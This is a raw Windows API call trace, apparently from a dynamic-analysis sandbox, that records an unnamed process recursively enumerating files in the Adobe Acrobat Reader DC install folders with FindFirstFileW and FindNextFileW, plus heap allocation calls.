	[0162.888] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190c1897, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x6994, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYING.LGPLv2.1.txt", cAlternateFileName="COPYIN~1.TXT")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="d3dcompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaefffe5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x392eb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~2.DLL")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f5a940, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x9b49f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icudt.dll", cAlternateFileName="")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icudtl.dat", cAlternateFileName="")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe293087a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x458f9f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libcef.dll", cAlternateFileName="")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x15650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libEGL.dll", cAlternateFileName="")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda3accdd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2ca650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190e7af4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x69b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE.txt", cAlternateFileName="")) returned 1
	[0162.889] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="locales", cAlternateFileName="")) returned 1
	[0162.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0162.889] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0162.890] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.890] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1
	[0162.890] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 0
	[0162.890] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0162.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0162.890] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1
	[0162.890] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb54228e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbff7f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RdrCEF.exe", cAlternateFileName="")) returned 1
	[0162.890] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdbc431b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x13279f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RdrServicesUpdater.exe", cAlternateFileName="RDRSER~1.EXE")) returned 1
	[0162.890] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1
	[0162.890] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1
	[0162.890] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 0
	[0162.890] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0162.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf33f4ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x16dc3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3b1bc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21fdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3d7e46, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf66062a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe07ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Res.dll", cAlternateFileName="ACRORD~1.DLL")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSup64.dll", cAlternateFileName="ACROSU~1.DLL")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf6d2df0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xaff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADelRCP.exe", cAlternateFileName="")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x711, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1
	[0162.891] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a15668, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xd87f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1
	[0162.892] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea0236a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7e1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1
	[0162.892] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1f95cdaa, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x45650, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1
	[0162.892] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b58fe2e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1
	[0162.892] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf876737, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4e5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1
	[0162.892] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1
	[0162.892] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1ab2191d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x426b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1
	[0162.892] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8e3fa2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x116c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIDE.dll", cAlternateFileName="")) returned 1
	[0162.892] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1
	[0162.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0162.892] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0162.893] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.893] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1
	[0162.893] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nppdf32.dll", cAlternateFileName="")) returned 0
	[0162.893] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0162.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0162.894] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1
	[0162.894] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecd6f88, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x309f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1
